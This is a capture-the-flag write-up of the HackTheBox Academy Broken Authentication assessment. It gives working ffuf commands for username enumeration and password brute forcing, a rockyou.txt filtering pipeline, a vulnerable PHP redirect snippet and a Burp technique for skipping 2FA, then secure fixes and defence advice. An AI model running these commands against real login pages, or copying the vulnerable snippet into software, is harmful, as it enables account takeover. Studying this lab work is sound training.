Introduction
In this writeup I'll walk through solving the Broken Authentication Skill Assessment from HackTheBox Academy. The challenge was about exploiting multiple authentication vulnerabilities to gain unauthorized access — with zero credentials provided.
What made it interesting is that no single exploit got you the flag. You had to chain together user enumeration, targeted password brute forcing, and an authentication bypass.
Challenge Overview
- Target: Web application with a login portal
- Given: Nothing — no usernames, no passwords, no hints
- Goal: Compromise the application and retrieve the flag
- Skills tested: User enumeration, brute force, response manipulation
Step 1: Testing for User Enumeration
First I explored the login page to see how it behaves with invalid credentials.
I entered random creds:
Username: hahaha
Password: annaa
Server response:
Unknown username or password
This specific message tells me the app checks the username first, then the password — a classic user enumeration bug.
Why this matters: if invalid username and valid-username-wrong-password return different messages, an attacker can build a list of valid usernames. That's the first piece of the puzzle.
Step 2: User Enumeration Attack
With the vuln confirmed, I enumerated valid usernames with ffuf:
ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt \
-u http://TARGET_IP:PORT/login.php \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ&password=invalid" \
-fr "Unknown username or password"
Breaking it down:
-
-w— wordlist of common usernames -
-u— target login endpoint -
-X POST— HTTP method -
-d— POST body,FUZZgets replaced by each wordlist entry -
-fr— filter OUT this response text (show only different responses)
Result:
gxxxxs [Status: 200, Size: 4344, Words: 680, Lines: 91]
✅ Valid user found: gxxxxs — the response size is much larger than the "unknown user" response, confirming the username exists.
Step 3: Confirming the Username
I manually verified by logging in as gxxxxs with a random password (11111):
Invalid credentials.
A different message than before, confirming:
- ✅
gxxxxsis a valid username - ❌ the password is wrong
Time to crack the password.
Step 4: Password Brute Force — The Smart Way
The problem: rockyou.txt has 14+ million entries. Brute-forcing all of it risks rate limiting or lockout, and takes forever.
The fix: filter by the app's password policy. Most modern apps require min length, upper+lower case, and a digit. I filtered rockyou.txt down to only candidates matching that policy:
grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | \
grep '[[:lower:]]' | \
grep '[[:digit:]]' | \
grep -E '.{10}' > custom_wordlist.txt
-
grep '[[:upper:]]'— must contain an uppercase letter -
grep '[[:lower:]]'— must contain a lowercase letter -
grep '[[:digit:]]'— must contain a digit -
grep -E '.{10}'— at least 10 characters
Result: 14,000,000 → ~150,000 candidates (99% reduction 🚀)
The attack:
ffuf -w custom_wordlist.txt \
-u http://TARGET_IP:PORT/login.php \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=gxxxxs&password=FUZZ" \
-fr "Invalid credentials"
Result:
dWXXXXXXXX13 [Status: 302, Size: 0, Duration: 656ms]
✅ Password cracked: gxxxxs:dWXXXXXXXX13 (redacted to avoid spoiling the box for others).
Step 5: The 2FA Roadblock
Logging in with the valid creds hit a wall: the app asked for a 2FA OTP.
Options considered:
- Brute force the OTP — unknown length (4 vs 6 digits), not efficient
- Bypass the OTP check entirely — more realistic
This pointed to a technique from the module: authentication bypass via direct access.
Step 6: Understanding the Vulnerability
Poorly implemented auth flows often make this mistake in PHP:
// Vulnerable
if (!$_SESSION['2fa_verified']) {
header("Location: /2fa.php");
// missing exit; !
}
// this still executes
echo "<h1>Welcome to your profile!</h1>";
echo "Flag: HTB{...}";
The server sends a 302 redirect to /2fa.php, but the script keeps running and renders the protected page anyway. A normal browser just follows the redirect and never shows you that content — but we can intercept the raw response before that happens.
Step 7: Burp Suite Response Manipulation
I set Burp to intercept the response, not just the request:
- Enable Burp Proxy
- In Proxy → HTTP History, find the request to
/profile.php - Right-click → Do intercept → Response to this request
Original response:
HTTP/1.1 302 Found
Location: /2fa.php
Content-Length: 3986
[protected page HTML content here]
Modified response:
HTTP/1.1 200 OK
Location: /profile.php
Content-Length: 3647
[protected page HTML content here]
Changed the status line from 302 Found to 200 OK and the Location header from /2fa.php to /profile.php — telling the browser "this is a successful response, render it."
Result: forwarding the modified response rendered the profile page directly:
Welcome gxxxxs!
HTB{d86XXXXXXXXXXXXXXXXXX}
🎯 Flag captured (partially redacted).
Complete Attack Chain
1. User enumeration → found username gxxxxs
2. Password policy analysis → filtered rockyou.txt 14M → 150K
3. Password brute force → found password
4. Login → hit 2FA barrier
5. Direct access test → found 302 redirect flaw
6. Response manipulation → 302 → 200 in Burp
7. Access granted → flag captured
Vulnerability Analysis
1. User enumeration (CWE-204)
Vulnerable: different messages for invalid username vs. valid-username-wrong-password.
Secure: always return the same generic "Invalid username or password".
2. Weak password requirements
The app enforced a complexity policy but still accepted breached passwords like Password123. Better: check against the HaveIBeenPwned API and reject known-breached passwords, plus require higher entropy.
3. Missing exit; after redirect (CWE-698)
// Vulnerable
if (!$_SESSION['2fa_verified']) {
header("Location: /2fa.php");
// script continues executing!
}
include('profile_content.php');
// Secure
if (!$_SESSION['2fa_verified']) {
header("Location: /2fa.php");
exit; // critical
}
include('profile_content.php');
Defense Recommendations
- Always call
exit;right afterheader()redirects in PHP - Use consistent, generic error messages for all login failures
- Add rate limiting (e.g. lock out or slow down after 5 failed attempts per IP)
- Validate session + 2FA state on every protected page, not just at login
- Check new passwords against breach databases like HaveIBeenPwned
Key Lessons Learned
- Small vulnerabilities compound — none of these alone is critical, but chained together they gave full auth bypass
- Never trust client-side redirects for access control — always validate server-side
- Error messages leak information — even subtle differences enable enumeration
- Password policy ≠ password security — complexity rules don't stop reused/breached passwords
- Defense in depth matters — any single one of these fixes would have stopped the attack
Tools Used
| Tool | Purpose |
|---|---|
ffuf |
Web fuzzing for enumeration and brute force |
grep |
Filtering wordlists by pattern |
| Burp Suite | HTTP interception and response modification |
| SecLists | Pre-built wordlists |
Conclusion
This challenge is a solid example of why secure coding practices aren't optional. The dev likely assumed a redirect was enough access control, that subtly different error messages wouldn't be noticed, and that a password policy alone made passwords secure. Chaining three small gaps together broke all three assumptions.
Security isn't about one strong defense — it's layers, so that when one fails, the others still hold.
Happy hacking! 🔐






Top comments (0)